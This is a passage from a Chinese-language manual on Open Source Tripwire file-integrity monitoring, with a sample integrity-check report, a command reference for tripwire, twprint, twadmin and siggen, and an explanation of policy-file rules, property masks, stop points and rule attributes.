or modified only under certain conditions; see COPYING for details.

All rights reserved.

Integrity check complete.

可以看出有修改、删除和添加的操作。




2.5 查看完整性检测报告


[root@nas sbin]# ./twprint --print-report --twrfile /usr/local/tripwire/lib/tripwire/report/nas -20100221-143415.twr

Note: Report is not encrypted.

Open Source Tripwire(R) 2.4.1 Integrity Check Report

Report generated by:　　　root

Report created on:　　　Sun 21 Feb 2010 02:34:15 PM CST

Database last updated on:　　Never

================================================================

Report Summary:

===============================================================

Host name:　　　　　nas

Host IP address:　　　　192.168.3.34

Host ID:　　　　　　None

Policy file used:　　　　/usr/local/tripwire/etc/tw.pol

Configuration file used:　　/usr/local/tripwire/etc/tw.cfg

Database file used:　　　/usr/local/tripwire/lib/tripwire/nas.twd

Command line used:　　　./tripwire --check

================================================================

Rule Summary:

===============================================================

----------------------------------------------------------

Section: Unix File System

-------------------------------------------------------------

Rule Name　　　　Severity Level　Added　Removed　Modified

---------　　　　--------------　-----　-------　--------

* Tripwire Data Files　　　0　　　1　　0　　0

Tripwire Binaries　　　0　　　0　　0　　0

* sdb directory　　　　0　　　0　　1　　2

(/sdb)

Total objects scanned: 127

Total violations found: 4

==========================================================

Object Detail:

==========================================================

-------------------------------------------------------

Section: Unix File System

---------------------------------------------------------

-------------------------------------------------------------

Rule Name: Tripwire Data Files (/usr/local/tripwire/lib/tripwire)

Severity Level: 0

---------------------------------------------------------------

Added Objects: 1

----------------------------------------

Added object name: /usr/local/tripwire/lib/tripwire/nas.twd

---------------------------------------------------------

Rule Name: sdb directory (/sdb)

Severity Level: 0

--------------------------------------------------------

Removed Objects: 1

----------------------------------------

Removed object name: /sdb/samba-swat-3.0.33-3.7.el5.i386.rpm

----------------------------------------

Modified Objects: 2

----------------------------------------

Modified object name: /sdb

Property:　　Expected　　　　　　　　Observed

-------------　-----------　　　　　　　　-----------

* Modify Time　Sun 21 Feb 2010 02:31:32 PM CST　Sun 21 Feb 2010 02:34:08 PM CST

Modified object name: /sdb/ft

Property:　　Expected　　　　　　　Observed

-------------　-----------　　　　　　-----------

* Inode Number　49159　　　　　　　　49157

* Size　　　18　　　　　　　　　24

* Modify Time　Sun 21 Feb 2010 02:17:15 PM CST　Sun 21 Feb 2010 02:33:59 PM CST

* CRC32　　　B61wic　　　　　　Dq7obE

* MD5　　　D48YaGvHRiQHXiomq0jsb3　　　DVO6Kuqpjei4zeSotNJMET

=========================================================

Error Report:

==========================================================

No Errors

--------------------------------------------------------

*** End of report ***

Open Source Tripwire 2.4 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered

trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;

for details use --version. This is free software which may be redistributed

or modified only under certain conditions; see COPYING for details.

All rights reserved.

以上可以看出具体的违反策略规定的操作，如果认为是合法修改就升级数据库。

基本实验部分就这些，有关升级数据库等其他操作有前几章的理论指导不难做到。




2.6 Tripwire软件退出代码


Tripwire软件在完整性检测模式下的退出代码如表2.1所示。


表2.1 Tripwire软件在完整性检测模式下的退出代码

[image: figure_0037_0006]





第3章 Tripwire软件命令参考


这一部分讲述Tripwire软件中的命令和命令模式在命令行中的使用。Tripwire软件包括下列4个可执行的命令及操作。

tripwire 建立基线数据库，检测系统的完整性，升级数据库及策略文件。

twadmin 建立配置文件和策略文件，加密Tripwire 软件的文件。

twprint 校验、打印数据库和报告文件。

siggen 给指定的文件产生和打印哈希hash值。

[image: figure_0039_0007]


注意：

如果不特别指定参数及参数值，那么所有这些命令都会从 Tripwire 软件的配置文件中获取默认的参数。

命令行约定

所有的Tripwire软件的命令（除了siggen之外，因为siggen只有一种模式），其命令行语法均遵守以下命令约定。

command mode-selector [options] [files]

在命令行中，模式选择（mode-selector）必须作为第一个参数，然后是有关可选项（options），最后是可选的文件（files）选项（之所以是可选的是因为有些文件名可以省略而使用缺省的文件），如果命令行参数用其他顺序就会出现语法错误。

每一种模式的有效命令行参数都将在下面的各部分讲解。下列约定会被使用。

[-f filename]　方括号是可选的参数，使用具体的参数替换斜体字部分。

-Z {high | low}　括号中参数必选其一。

命令行帮助

所有Tripwire软件的命令都支持下列参数，从而获得命令的用法、版本和版权信息。如果这些参数出现在命令行，那么帮助信息将会显示出来，而且所有其他的命令行参数将被忽略。

所有的Tripwire软件的命令都支持如表3.1所示的参数。


表3.1 Help参数

[image: figure_0039_0008]


在命令行中可以同时制定多个对象（objects），制定目录或文件时也可以使用通配符（wildcard），需要理解的是通配符只是命令行shell的一个扩展，而非基于存储在数据库文件的数据。

[image: figure_0039_0009]


安全问题：

在命令行中使用通配符一定要注意安全问题，由于命令行是通过shell解释的，可能会通过命令行选项插入一个虚假文件（有安全问题），从而给Tripwire软件带来有害的操作。




3.1 tripwire命令工作模式


tripwire命令有5种工作模式。

数据库初始化模式（Database Initialization mode）

完整性检测模式（Integrity Checking mode）

数据库升级模式（Database Update mode

策略升级模式（Policy Update mode）

测试模式（Test mode）

数据库初始化模式适用于tripwire软件基于策略文件中的规则建立的文件系统对象的数据库，这个数据库将作为基线数据库，用于以后的完整性检测。这一步仅仅是在Tripwire软件首次安装完成后才做。

完整性检测模式是用现有的真实的文件系统对象与存储在基线数据库中存储的对象进行比较，然后将比较的结果生成报告，一个文本形式的报告以标准输出设备的形式出现在屏幕上，另一个二进制文件的报告以文件的形式存储在磁盘上。

数据库升级模式是用于一次完整性检测后发现有合法对象改变的报告，可以将这个合法的改变写入数据库，这个操作是原有数据库的基础上进行的升级，而不是重新生成整个数据库。

策略升级模式能够使改变后的策略文件与数据库同步，这种模式使得在策略文件中修改了规则后，再用Tripwire软件扫描系统，而不是重新执行数据库初始化操作。

测试模式是 Tripwire 电子邮件通知系统，Tripwire 会利用配置文件中设置的收件人地址进行发送邮件的测试。




3.1.1 tripwire命令的数据库初始化模式


数据库初始化模式中，tripwire命令根据密钥签名后的策略文件中的规则生成数据库，因为这个数据库要成为以后完整性检测的基线数据库，所以这个数据库要建立在一个没有受到任何危害的系统上。

生成的数据库文件被放置在配置文件中DBFILE变量所指定的位置，除非在命令行中指定其他位置。另外，命令行选项中还可以使用指定策略文件，配置文件和密钥文件，用来生成数据库文件。如果没有指定选项，那么就用配置文件中默认的当前值。有关数据库初始化模式命令参考表3.2。


表3.2 tripwire命令数据库初始化模式参数
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续表

[image: figure_0041_0011]





3.1.2 tripwire命令的完整性检测模式


进行完整性检测时，tripwire命令扫描当前系统，并且与存储在数据库文件中的值进行比较。完整性检测后，Tripwire 软件将比较的结果生成报告，一个以简要的文本形式输出到标准输出设备，显示在屏幕上，另一个以详细的二进制文件的形式存储在磁盘上，存储的位置是在配置文件中REPORTFILE变量所指的位置。可以使用命令行参数来覆盖配置文件中变量所指定的位置，有关命令行完整性检测的定制，参考相关章节。

完整性检测的报告文件中包含大量的信息，正是因为信息量大的原因，报告根据详细情况分成了五个不同的级别。

如果完整性检测发现了改变，那么就必须有步骤地判断问题的所在。如果改变有着潜在的恶意，那么就要替换受到影响的文件，并且要适当地采取安全策略。而对于有效的改变（例如可能是管理员安装了新的软件），那么应该及时升级数据库，以记录新的系统状态。

如果在完整性检测时用--interactive选项，那么在检测完成后就立即进入数据库升级模式。但非常不推荐这么做。相关参数见表3.3。


表3.3 tripwire命令完整性检测参数
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续表

[image: figure_0042_0013]





3.1.3 tripwire命令的数据库升级模式


tripwire 命令的完整性检测将建立一份关于当前系统和存储在数据库文件中的对象的比较报告，在数据库升级模式（Database Update mode）中可以显示这份报告，而且允许选择同意升级的选项，以实现数据库文件的升级。

当在数据库升级模式下运行tripwire命令时，报告将从所在的命令行打开并显示在屏幕上（就是说在这种模式下，当检测完成后，立即进入文本编辑状态，允许进行升级处理）。可以通过--visual参数指定选用的编辑器，也可以使用配置文件中EDITOR变量指定的编辑器，或者是环境变量中的$VISUAL或者$EDITOR指定的编辑器，tripwire命令按照这个顺序确定使用编辑器。

每个违反规则的对象均被列出，每一项的前面都有一个“投票箱（ballot box）”。

Modified:

[x] "/usr/local/tw"

drwxr -xr -x root(0) 512 Tue Nov 22 17:19:15 1999

如果同意批准违反策略的对象，那么就留下该对象前的“x”号，对象的值将会在数据库中升级更新；如果从“投票箱”移除“x”号，那么这个对象的值将不能在数据库中升级更新。退出编辑器后要提供正确的本地密码短语，然后tripwire命令会升级并保存数据库文件。

[image: figure_0043_0014]


注意：

如果是在命令行中没有指定报告文件，那么 tripwire 命令将会使用配置文件中REPORTFILE变量所指定的值。如果配置文件中变量REPORTFILE所指定的值包括[$(DATE)，等等]，那么数据库将会出现找不到的情况。如果是要在命令行指出报告文件，那么就要使用-r或--twrfile参数。

如果有下列情况，更新数据库文件时可能会遇到错误。

指定的报告文件已经被数据库升级用过；

指定的报告文件是其他的数据库文件而更新当前的数据库；

数据库已被其他的报告文件升级；

数据库已经使用了一份报告文件更新，但是这份报告文件比当前命令行指定的报告文件要新（所谓新，就是说更为靠近系统当前的时间）。

如果在升级数据库时带有--secure-mode high（默认），那么任何有问题的情况都会使得tripwire命令退出而不升级数据库；如果是使用--secure-mode low，虽然会有报告显示，但是数据库信息会被升级，报告中的任何一项问题都有可能让数据库文件变的无用，使一个原本不安全的系统而合法化。所以推荐使用--secure-mode high选项。该模式的相关参数见表3.4。


表3.4 数据库升级模式参数
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续表
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3.1.4 tripwire命令的策略升级模式


通过使用tripwire命令的策略升级模式（Policy Update mode）来改变策略文件的内容，并且使用新的策略文件同步数据库文件信息，这个过程步骤如下。

1．Tripwire执行的操作。

用命令行指定的未加密文本文件与一个已经存在的（也就是正在使用的）策略文件作比较。

2．Tripwire用新的策略文件执行一次完整性检测，收集系统的当前状态。

当数据收集完后，任何违反（添加，删除或是修改）旧版本策略文件规则的操作都将会被检测出并且作出报告。

如何解决这些违反旧版本策略文件的操作将依赖于一个指定的参数选项-Z 或者--secure-mode，具体如下。

如果选用high模式（这也是默认值），Tripwire将报告出一个违反规则的列表，并且不对数据库做任何改变而退出；

如果选用low模式，tripwire仍然报告出一个违反的列表，但是更新数据库。如果想抓取这些警告信息，可以重定向标准错误输出到一个文件。

当一个策略升级进程完成后，老版本的策略文件会被新的策略文件替代，同时新的数据库文件也体现了当前系统的状态。
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安全问题：

在策略升级过程中发现的冲突（Conflicts）应该认真地作为一个完整性检测违反规则的情况去处理。正是因为这个原因，在策略升级过程中推荐使用--secure-mode high选项，以便做适当的调整处理。

解析升级违反策略过程（Resolving Policy Update Violations）

用文本文件policy.txt升级tripwire的默认策略文件tw.pol。

tripwire -m p /etc/tripwire/policy.txt

默认的策略升级模式（Policy Update mode）使用如下参数。

--secure-mode high

当在high模式下运行时，可能会遇到错误，这是因为可能从上一次数据库升级后系统做过改动。例如有可能是另一个管理员在策略升级的过程中修改过文件。

为了适应这种情况，在决定所有违反策略的改变（在--secure-mode high 显示出的各种改变）都被认可的情况下，可以使用在low模式（low security mode）升级。

tripwire -m p --secure-mode low /etc/tripwire/policy.txt

策略升级模式与创建策略模式的比较

通过 twadmin --create-polfile 建立新的策略文件，需要重新初始化数据库。这对于新安装的Tripwire 是必要的。但是如果已经安装并且随系统监控了一段时间，再创建新的策略文件势必成为一个安全隐患。因为在初始化过程中，前面监控的那段时间的系统文件改变都将会被认为是合法的（授权）而被写入基线数据库，作为以后的完整性检测的基线数据库。

例如，假设在一次完整性检测后，侵入者修改了一些重要的秘密文件，同时管理员决定修改这个文件的策略规则。

如果是用策略升级模式（Policy Update Mode），Tripwire 软件会为“新（刚刚被修改的）”规则收集信息，并且会与“旧（未被修改前的）”规则收集的信息（以存储在数据库中）做比较，那么冲突的部分会被检测出并且被报告。

如果是在创建策略模式（Create Policy Mode）情况下就不一样了。在创建策略模式（Create Policy Mode）情况下首先是改变策略文件，然后依据新的策略文件来初始化数据库，而不会检测前一个时段系统的修改情况，已经修改的文件将被存储在数据库中了，以后还要作为完整性检测的基线数据库，可见这种做法是很危险的。相关参数见表3.5。


表3.5 tripwire命令的策略升级模式参数
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3.1.5 tripwire命令的测试模式


使用tripwire命令的测试模式（Test mode）可以检测电子邮件通知。运行在这种模式下，电子邮件通知会使用在配置文件中指定的收件人地址，给收件人发送一份电子邮件。

如果在配置文件中MAILMETHOD设置为SMTP，SMTPHOST和SMTPPORT的值就会在发送电子邮件时被使用；如果MAILMETHOD设置为SENDMAIL，那么MAILPROGRAM的值就会在发送电子邮件时被使用。如果电子邮件工作正常，那么指定的邮件地址将会收到类似于如下信息。

To: user@domain.com

From: user <user@domain.com>

Subject: Test email message from Tripwire

If you receive this message, email notification

from Tripwire is working correctly.

测试模式只是为命令行指定的邮件地址测试邮件通知，而不检测配置文件中EMAILTO变量的语法是否有误。相关参数见表3.6。


表3.6 tripwire命令的测试模式参数
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3.2 twprint命令


twprint命令可用来在不加密的文本状态下查看和打印数据库文件和报告文件。Tripwire软件数据库文件是被二进制编码和签名加密过的，而Tripwire软件报告文件也是被二进制编码保存的，但是它的签名加密是可选的。twprint命令提供了一种能在文本编辑器下查看这些被加密签名的文件的能力。如果想象查看一个策略文件或者配置文件，那么可以用重定向的方法将显示屏幕的内容重定向到一个文件中，命令如下。

twprint --print-dbfile > db.txt

twprint命令有2种工作模式。

屏幕打印检测报告模式；

屏幕打印数据库模式。




3.2.1 twprint命令的屏幕打印检测报告模式


twprint命令的屏幕打印检测报告模式可以打印出报告文件中的内容。如果在命令行中没有用--twrfile 选项指定报告文件，将会使用默认的报告文件，默认报告文件是在配置文件中用REPORTFILE变量指定名称的文件。如果在命令行没有指定报告级别，那么会按照策略文件中默认的级别打印。默认报告的文件名如下所示。

$(HOSTNAME)-$(DATE).twr

这里的$(DATE)变量包含了当前的近乎秒级的时间，除非屏幕打印检测报告模式（Print Report mode）能够在1秒钟内创建报告，否则twprint命令将不会发现这个报告，因为变量$(DATE)将会反映出当前的时间。因此在命令行运行打印报告时，还是明确地加上--twrfile 参数为好。相关参数见表3.7。


表3.7 twprint命令的屏幕打印检测报告模式参数
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3.2.2 twprint命令的屏幕打印数据库模式


twprint 命令的屏幕打印数据库模式（Print Database Mode）能够将数据库文件中的内容打印到屏幕上，或者是重定向到一个文件中。如果在命令行没有用--dbfile选项指定数据库文件，那么默认的数据库文件将被打印，默认的数据库文件是指在配置文件中用DBFILE变量指定名称的文件（例如tw.cfg配置文件，也可以利用--cfgfile选项在命令行指定配置文件）。

打印默认的数据库文件到指定的文本文件的命令格式如下所示。

twprint --print-dbfile > db.txt

将指定的数据库文件打印到指定的文本文件的命令格式如下所示。

twprint --print-dbfile --dbfile otherfile.twd > db.txt

打印数据库中的某些对象的命令格式如下所示。

twprint --print-dbfile object1 object2 object3...

相关参数见表3.8。


表3.8 twprint命令的屏幕打印数据库模式参数
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续表

[image: figure_0048_0022]





3.3 twadmin命令


twadmin命令有8种工作模式，用于做一些管理工作，管理与Tripwire软件相关的文件以及配置文件，详情如下。

建立配置文件模式（Create Configuration File mode）是将一个已经编辑好的文本文件转化为一个新的配置文件。

打印配置文件模式（Print Configuration File mode）是将当前的配置文件以可读的文本格式打开。

建立策略文件模式（Create Policy File mode）是将设计好的一个文本文件转化为一个新的策略文件。

打印策略文件模式（Print Policy File mode）是将当前配置策略文件以可读文本格式打印到屏幕。

移除加密模式（Remove Encryption mode）是移除配置文件、策略文件、数据库文件及报告文件的加密签名。

加密文件模式（Encryption a File mode）是用来为配置文件、策略文件、数据库文件及报告文件加密签名。

检测加密模式（Examine Encryption mode）是用来检测配置文件和策略文件以及报告文件的加密状态。

创建密钥模式（Generate Keys mode）是用来为Tripwire 软件建立站点密钥（site key）和本地密钥（local key）。

[image: figure_0048_0023]


安全问题：

为了防止未经授权地读取配置文件和策略文件，在安装Tripwire软件后，应该把twadmin命令移到移动存储设备，并且去掉执行权限。




3.3.1 twadmin命令的建立配置文件模式


twadmin 命令的建立配置文件模式是将一个已经编辑好的文本文件转化为一个新的配置文件。这个编辑好的文本文件要在命令行中指出，然后twadmin 命令使用站点密钥文件（site key）对其进行编码，加密签名后保存。相关参数见表3.9。


表3.9 twadmin命令的建立配置文件模式参数
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3.3.2 twadmin命令的打印配置文件模式


配置文件建立后，被存储在一个二进制编码格式文件中。利用twadmin命令的打印配置文件模式可以将这个二进制编码格式的文件内容以可读文本的方式打印出来。相关参数见表3.10。


表3.10 twadmin命令的打印配置文件模式
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3.3.3 twadmin命令的建立策略文件模式


twadmin命令的建立策略文件模式是将一个已经存在的文本文件作为策略文件。这个文本文件必须在命令行指出，twadmin命令使用站点密钥文件（site key）对其进行编码，加密签名后保存。

尽管可以使用这种模式修改和保存策略文件，但是还是强烈推荐使用tripwire命令的策略升级模式（Policy Update mode）。使用twadmin --create-polfile需要数据库初始化，因为存储在旧的数据库中的记录不再匹配指定的策略文件。那么在再次初始化数据库的过程中（之所以说再次，是因为在 Tripwire 软件第一次安装完成后做过一次初始化），可能会有其他的不安定因素，而再次初始化的数据库会被作为以后的基线数据库，所以这种操作比较危险。当然也不是不能用这种模式，如果确定没什么风险也是可以用的，此外也可以先做一次检测，然后拔掉网线在控制台上进行。

tripwire --update-policy同时升级策略和数据库，检测可能的策略违反情况。可以参考tripwire命令的策略升级模式。相关参数见表3.11。


表3.11 twadmin命令的建立策略文件模式参数
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twadmin命令的建立策略文件模式，示例如下。

[root@mail etc]# /usr/local/tripwire/sbin/twadmin -m P twpol.txt

Please enter your site passphrase:

Wrote policy file: /usr/local/tripwire/etc/tw.pol




3.3.4 twadmin命令的打印策略文件模式


建立策略文件后，它是被存储在二进制编码格式文件中。使用twadmin命令的打印策略文件模式可以将策略文件以可读的文本格式打印出。相关参数见表3.12。


表3.12 twadmin命令的打印策略文件参数
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3.3.5 twadmin命令的移除加密模式


twadmin 命令的移除加密模式（Remove Encryption mode）用来移除被加密签名的配置文件、策略文件、数据库文件及报告文件。在命令行可以指定多个文件，也可以使用通配符。在命令根据文件的加密类型适当地输入本地密码短语（local passphrase）或者是站点密钥（site passphrase）。需要注意的是，即使这些文件的签名密钥被移掉，但这些文件仍然被存储在二进制编码的文件中，所以仍然不可读。相关参数见表3.13。


表3.13 twadmin命令的移除加密模式参数
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3.3.6 twadmin命令的加密文件模式


twadmin 命令的加密文件模式是用来加密签名配置文件，策略文件，数据库文件或者是报告文件。可以在命令行中指定多个文件，也可以使用通配符。根据被指定的文件类型使用适当的密钥文件,是密钥（site key）还是本地密钥（local key）。如果不想使用交互式的输入相应的密码短语，那么也可以使用自动的方法，在命令行加入相应的密钥文件的参数，然后在跟上密码。

[image: figure_0051_0029]


注意：

安全问题，这里有一点要说的是，shell 命令行的命令都将会被存储于当前用户主目录下.bash_history文件中，如果不清除用过的命令，那将会造成安全问题，因此在用完自动的方法后一定要执行history –c 命令清空此文件。

相关参数见表3.14。


表3.14 twadmin命令的加密文件模式参数
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3.3.7 twadmin命令的检测加密模式


twadmin 命令的检测加密模式用来检查配置文件，策略文件，数据库文件或者是报告文件的加密状态。

检查结果会显示如下信息。

文件名

文件类型

使用什么密钥（key）加密签名

被签名文件的类型会通过一个反复的试验方法来决定，首先是站点密钥（site key），然后是本地密钥（local key）。相关参数见表3.15。


表3.15 twadmin命令的检测加密模式参数
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续表
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3.3.8 twadmin命令的创建密钥模式


创建密钥模式用来创建Tripwire软件的本地密钥（local key）文件和站点密钥（site key）文件。尽管本地密钥（local key）文件和站点密钥（site key）文件在安装Tripwire软件的过程中已被创建，但是仍然或者在有必要时进行重新建立，这两个密钥可以同时建立，也可以一次只建立一个。

[image: figure_0053_0033]


注意：

无论是本地密钥（local key）文件还是站点密钥（site key）文件一旦被覆盖掉，用它们加密签名过的文件将会永久无法使用。连 Tripwire 公司都不能帮助恢复这些文件，所以这一点要特别注意！

在为密钥（本地密钥和站点密钥）文件选择密钥短语（passphrases）时，密钥短语（passphrases）的长度不得少于8个字符，并且应该包含大小写字母、数字还有各种符号。需要注意的是，如果密钥短语（passphrases）包含通配符，那么在命令行中必须用引号括起来，也正是因为这个原因，所以引号不要作为密码短语（passphrases）。相关参数见表3.16。


表3.16 twadmin命令的创建密钥模式参数
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3.4 siggen命令


可以通过siggen命令来显示指定文件的hashes值。Siggen命令显示了指定的一种或多种hash值，这是一个与Tripwire 1.2 和1.3 学术性源代码版本不同的64 位编码记法。因此对于同一个文件来说，学术性的源代码版本和商业版本的签名值不同。相关参数见表3.17。


表3.17 siggen命令的显示签名参数
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Hash吞吐量性能

图3.1简要地概括了Tripwire软件完整性检测支持的4种Hash算法的测试情况。

测试环境：200 MHz Motorola Power3处理器，256 MB RAM，AIX 4.3。

文件大小：100 MB。

这个测试环境虽然有点过时，但是能说明情况就足够了，主要在于表示不同的 Hash 算法的吞吐量有很大的差距，因此在使用hash的算法时要根据实际的情况去选择。

[image: figure_0054_0036]
图3.1 Hash吞吐量性能比较



不难看出不同的Hash算法消耗的系统资源不同。




第4章 策略参考


本章描述Tripwire策略文件的组成。策略文件包括一系列的规则，以便控制Tripwire软件的检测系统。对于UNIX和Linux系统来说被扫描的系统对象就是文件和目录。本章的主要内容包括对规则属性的介绍，以及建立策略文件的方法。




4.1 策略文件的组成


规则（Rules）、停止点（Stop points）、属性（Attributes）、指令（Directives）和变量（Variables）是策略文件的标准组成部分，下文中将详细介绍每个标准组成部分。

规则（Rules）是策略的基本组成部分，使用指定的属性为指定的每一个系统对象做完整性检测。

停止点（Stop points）指定一个在完整性检测中一个不被检测的系统对象。

属性（Attributes）通过控制递归修改规则行为或者发送电子邮件信息。

指令（Directives）组织规则组，允许有条件地添加规则。

变量（Variables）允许方便地改变信息。

在策略中，字符“#”表示是一个注释，任何文本后跟一个“#”，系统在编译时都会直接换行。

注释的示例如下所示。

# 这就是注释

/temp -> $(ReadOnly); # 注释也可以这么写




4.2 规则（Rules）


规则是一个关联监控系统对象的一组属性，其格式如下所示。

object name -> property mask;

对象名（object name）是一个系统文件或目录的全路径；

属性掩码（property mask）指定对象的什么属性可以被检测，什么属性可以被忽略。

基本的规则就是由四部分组成：对象名，“->”, 属性掩码和“;”。

① 符号“->”用来分隔对象名（object name）和属性掩码（property mask），在对象名字和“->”之间必须用空格分开。

② 规则的行尾必须用分号“;”。

③ 如果对象名是一个目录，那么这个目录及其目录下面的所有文件及目录将被递归地用同一种属性掩码扫描。

④ 如果对象名是一个文件，那么只有这个文件被指定属性掩码扫描。

⑤ 一个规则可以关联任意给定的对象，但是如果任何对象在一个策略文件中包含一个以上的规则，那么Tripwire软件将会给出错误的信息，并且不再扫描别的文件而退出。

规则的示例如下所示。

# 定义Tripwire 的行为对/bin 下的整个目录树

/bin -> $(ReadOnly);

# 定义Tripwire 的行为只对单个文件

# Tripwire 监视文件hostname.hme0 的所有属性

/etc/hostname.hme0　->　$(IgnoreNone) -ar;

#除了/etc/passwd用mask2，利用mask1扫描/etc目录树

/etc　　->　$(mask1);

/etc/passwd ->　$(mask2);

另一个规则的示例如下所示。

#这样是非法的做法

/usr/bin　->　$(mask3);

/usr/bin　->　$(mask4);




4.2.1 对象名字（Object Names）


在策略文件中，UNIX 对象（objects）包括的文件和目录要用全路径。由于安全的原因，环境变量是不允许使用的，示例如下。

/etc　　　　　　# valid

/etc/passwd　　　　# valid

$HOME　　　　　# not valid

与对象名字相关的问题还包括：对象名字间的空白字符将被忽略，除非文件名（或目录名）用引号括起来；名字中的引号也将被忽略，除非在引号前面使用反斜线符号（\）。

下列各式是等价的。

/usr/local　　　　　->　　$(ReadOnly) ;

/usr /local　　　　　->　　$(ReadOnly) ;

"/usr" "/local"　　　->　　　$(ReadOnly) ;

/usr / local　　　　->　　　$(ReadOnly) ;

对象名字（Object Names）中的特殊字符

在一个没有被引号括起来的对象名字（Object Names）中，下列字符不允许使用：感叹词（!）、大括号（{ }）、大于号（>）、圆括号（（））、换行符（\n）、制表符（\t）、空格（）、逗号（,）、分号（;）、等号（=）、美元符（$）、hash（#）、竖线（|）、反斜杠（\）、单引号（‘）和加号（+）。

因为对象名字中可能会包含不允许的字符，Tripwire 软件支持引号括起来的对象名字。如果有日本汉字、假名（日文的字母，由汉字简化而来），或者是其他双字节字符出现在对象名字（Object Names），必须使用引号将对象名字括起来。

“/mysubdirectory/kanji_characters”

还可以使用如下格式。

/mysubdirectory/”kanji-text”

对象名字可以包含转义序列（escape sequences），在引号内可以使用转移序列操作不可打印的字符。Tripwire软件对转移序列的解释方法和C++语言一样。下列是允许的转移序列。

① 八进制数\412（1、2、或4 是八进制数字）

② 十六进制数\x2A（2、A 十六进制数字）

③ 字符\t、\v、\b、\r、\f、\a、\\、\?、\'、\"

转义序列的用法如下所示。

/test　　　　　# "/test"

"/te\x73t2"　　　　# "/test2"

"/te\163t3"　　　　# "/test3"

/tes\t　　　　　#无效，转义序列必须在双引号内

管理挂载点（Mount Points）递归规则

Tripwire 软件在目录中递归只是适用于当前系统的内部，而不能跨越当前挂载点去挂载其他驱动器的子目录，因为驱动器的值（st_dev）不一样,lstat(2)返回的值不同。

例如,如果“/usr/local”是一个挂载点,那么

/usr　　　->　　+pinugsmc-a　;

扫描将发生在所有/usr文件及其各级子目录上。除了目录树/usr/local。如果扫描的目标是/usr下全部的文件与目录，那么要必须特别指出挂载点。

/usr　　　->　　+pinugsmc-a　;

/usr/local　　->　　+pinugsmc-a　;




4.2.2 属性掩码（Property masks）


属性掩码（Property masks）描述的是对象（object）被检测或者被忽略的属性。表4.1 列出了UNIX属性掩码字符，并且描述了它们代表的意义。下列规则表达式表示的是UNIX属性掩码（见表4.1）的正确语法。

([+-]*[pinugtsldbamcrCMSH])+

下面是添加属性掩码的通用原则。

① 不能指定空的属性掩码，属性掩码必须包含一个或多个属性符号。

② “+”字符开启一个属性，“-”字符关闭一个属性。但是不能指定只包含“+”或“−”字符的属性掩码。在属性掩码中没有指定属性和没有明确地用“-”关闭这个属性的结果一样。

③ 当属性掩码中的属性符号没有指定是“+”还是“-”时，那么默认使用“+”。下面3 种属性掩码是等效的。

+p+n+s;　　　# 比较权限许可、连接数和文件大小

+pns;　　　# 同上

pns;　　　#同上

④ 一旦在属性掩码中使用了“+”或者“-”，那么该属性将会一直连续地使用下去，直到遇到下一个“+”或者“-”，示例如下。

mask1　=　+pinug ;　　　　　# 定义一个变量，名字叫'mask1'

/file　->　$(mask1)-g ;　　　# 使用变量'mask1'，但是关闭掉'g'

⑤ 如果出现重复或者矛盾的属性符号，那么以最后的属性符号为准。


表4.1 UNIX属性掩码符号
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续表
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Tripwire 软件提供了CRC-32、MD5、SHA 和HAVAL 4 种Hash 算法，一般情况下用其中的两个就可以了。如果4种Hash算法同时使用会导致吞吐量（throughput）大幅增长，使得难以经常性地做完整性检测。




4.3 停止点（Stop Points）


停止点经常被用于指定在完整性检测中不愿意扫描的对象。

停止点的格式如下。

! object name;

和一般的规则一样，对象名（object name）使用全路径，结尾用分号”；”。

在策略规则中指定/etc，那么/etc 目录及其子目录将会被递归扫描，使用停止点（stop points），可以忽略个别文件或者目录。

#递归扫描目录/etc，但是不能扫描其下面的另外两个目录

/etc　->　$(ReadOnly) -ar;

!/etc/rc.d　;　　　# 忽略对这个目录的检测

!/etc/mnttab ;　　　# 忽略动态挂载目录文件系统




4.4 规则属性（Rule attributes）


规则属性一般是与规则合起来使用的，用来修改规则属性的行为或者提供额外的信息。可以利用规则属性（Rule attributes）将策略文件中的规则组织成不同的组。注意规则属性只能用于一般规则，而不能用于停止点（stop points）或者是策略中的项目。相关参数见表4.2。

规则属性对大小写不敏感，与一般规则（normal rules）合起来使用的语法如下。

object name -> property mask (attribute = value, attribute = value, ...);

例如，如果违反了一个策略规则，规则属性会给指定接收通知的电子邮件地址发邮件。

/usr/lib　　->　$(ReadOnly)(emailto = admin@foo.com);

使用规则属性（Rule attributes）来组织规则组的语法如下。

(attribute = value)

{

rule1;

rule2;

...

}

规则组的应用示例如下。

(emailto = admin@foo.com)

{

/usr/lib　　　->　　$(ReadOnly) ;

}

当一个属性范围（scoped attribute）中的规则属性与规则属性组中单条规则的规则属性相同时，那么单条规则的规则属性值将取代属性范围中的值。唯一例外的是emailto属性，它在属性范围和单条规则同时有效，示例如下。

(emailto = admin1@foo.com, severity = 90)

//属性范围（scoped attribute)

{

/etc/dog　-> +pingus (severity = 75);

//severity = 75 是单条规则中的规则属性

/etc/cat　　->　$(Dynamic) (emailto = admin2@foo.com);

//emailto = admin2@foo.com 是单条规则中的规则属性

}

如果对象/etc/dog的完整性检测发生改变，那么电子邮件将会把报告发往admin1@foo.com，安全级别是 75，而不是 90；如果对象/etc/cat 的完整性检测发生改变，那么电子邮件将会把报告同时发往admin1@foo.com和admin2@foo.com，安全级别是90。


表4.2 规则属性
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4.4.1 rulename属性


rulename属性是被用于关联一条或者一组规则而制定的名字。在一个有问题的完整性检测的报告中，这个规则名会出现在一个违反了制定规则策略的规则中。这个功能用来在一个很大的数据库中追踪确定的对象。

使用rulename规则属性在策略文件中组织一组规则，在完整性检测中可以对指定的规则或者规则组进行检测。例如，为了保护一组比较重要的文件，在策略文件中将如下规则组织到一个组中。

(rulename=“rcfiles”)

{

/home/.login　->　　$(ReadOnly);

/home/.cshrc　->　　$(ReadOnly);

/home/.logout　->　　$(ReadOnly);

}

这样，如果要做完整性检测，只需要使用规则属性就可以了，在命令中执行如下命令即可。

tripwire --check --rule-name “rcfiles”




4.4.2 emailto属性


emailto属性用于指定一个或多个电子邮件地址，在完整性检测后使用，但要在命令行中使用--email-report参数。如果发现有违反策略的情况，那么就会给指定的电子邮件地址发送电子邮件，以便及时报告违反策略的改变。

emailto规则属性的应用示例如下。

/bin -> +pinug (emailto=admin@mycompany.com);

如果在一个策略规则中指定多个收件人地址，那么要把收件人地址放在引号（"")中，并且收件人地址之间要用分号“；”隔开。收件人名字中可以包含有空格，但是行间空白和结尾空白字符都被删除。示例如下。

/etc -> $(ReadOnly)(emailto="admin@foo.com;admin2@foo.com");

